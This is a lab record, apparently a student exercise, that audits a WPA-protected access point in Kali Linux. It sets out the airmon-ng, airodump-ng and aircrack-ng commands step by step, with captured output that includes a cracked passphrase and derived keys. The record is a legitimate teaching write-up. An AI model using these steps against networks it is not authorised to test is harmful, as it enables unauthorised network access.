

Ex. No.: 9

Date: 27/04/24

WIRELESS AUDIT

AIM:

To perform wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kalilinux OS.

ALGORITHM:

1. Check the current wireless interface with iwconfig command.
2. Get the channel number, MAC address and ESSID with iwlist command.
3. Start the wireless interface in monitor mode on specific AP channel with airmon-ng.
4. If processes are interfering with airmon-ng then kill those process.
5. Again start the wireless interface in monitor mode on specific AP channel with airmon-ng.
6. Start airodump-ng to capture Initialization Vectors(IVs).
7. Capture IVs for atleast 5 to 10 minutes and then press Ctrl + C to stop the operation.
8. List the files to see the captured files
9. Run aircrack-ng to crack key using the IVs collected and using the dictionary file rockyou.txt
10. If the passphrase is found in dictionary then Key Found message displayed; else print Key Not Found.

OUTPUT:

```
root@kali:~# iwconfig
eth0 no wireless extensions.
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7
RTS thr:off Fragment thr:off
Encryption key:off Power
Management:off lo no wireless
extensions.
root@kali:~# iwlist wlan0 scanning
wlan0 Scan completed :
Cell 01 - Address: 14:F6:5A:F4:57:22
Channel:6
Frequency:2.437 GHz (Channel 6) Quality=70/70 Signal level=-27 dBm Encryption key:on
ESSID:"BENEDICT"
Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s
Bit Rates:6 Mb/s; 9 Mb/s; 12 Mb/s; 18 Mb/s; 24 Mb/s
36 Mb/s; 48 Mb/s; 54 Mb/s
Mode:Master Extra:tsf=00000000425b0a37 Extra: Last beacon: 548ms ago IE: WPA Version
1 Group Cipher : TKIP
Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK
root@kali:~# airmon-ng start wlan0
Found 2 processes that could cause trouble.
```

If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them!

PID Name

1148 NetworkManager

1324 wpa_supplicant PHY Interface	Driver	Chipset
phy0 wlan0	ath9k_htc	Atheros Communications, Inc. AR9271 802.11n

```

root@kali:~# airodump-ng -w atheros -c 6 --bssid 14:F6:5A:F4:57:22 wlan0mon CH 6 ][
Elapsed: 5 mins ][ 2016-10-05 01:35 ][ WPA handshake: 14:F6:5A:F4:57:
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E 14:F6:5A:F4:57:22
-31 100 3104 10036 0 6 54e. WPA CCMP PSK B
BSSID STATION PWR Rate Lost Frames Probe 14:F6:5A:F4:57:22 70:05:14:A3:7E:3E -32
2e- 0 0 10836
root@kali:~# ls -l
total 10348
-rw-r--r-- 1 root root 10580359 Oct 5 01:35 atheros-01.cap
-rw-r--r-- 1 root root 481 Oct 5 01:35 atheros-01.csv
-rw-r--r-- 1 root root 598 Oct 5 01:35 atheros-01.kismet.csv
-rw-r--r-- 1 root root 2796 Oct 5 01:35 atheros-01.kismet.netxml
root@kali:~# aircrack-ng -a 2 atheros-01.cap -w /usr/share/wordlists/rockyou.txt
[00:00:52] 84564 keys tested (1648.11 k/s)
KEY FOUND! [ rec12345 ]
Master Key : CA 53 9B 5C 23 16 70 E4 84 53 16 9E FB 14 77 49 A9 7A A0 2D 9F BB 2B C3
8D 26 D2 33 54 3D 3A 43
Transient Key : F5 F4 BA AF 57 6F 87 04 58 02 ED 18 62 37 8A
53 38 86 F1 A2 CA 0D 4A 8D D6 EC ED 0D 6C 1D C1 AF
81 58 81 C2 5D 58 7F FA DE 13 34 D6 A2 AE FE 05 F6 53 B8 CA A0 70 EC 02 1B EA 5F
7A DA 7A EC 7D
EAPOL HMAC 0A 12 4C 3D ED BD EE C0 2B C9 5A E3 C1 65 A8 5C

```

RESULT:

Thus, wireless audit on Access Point and decrypt WPA keys using aircrack-ng tool in Kali Linux OS has been performed.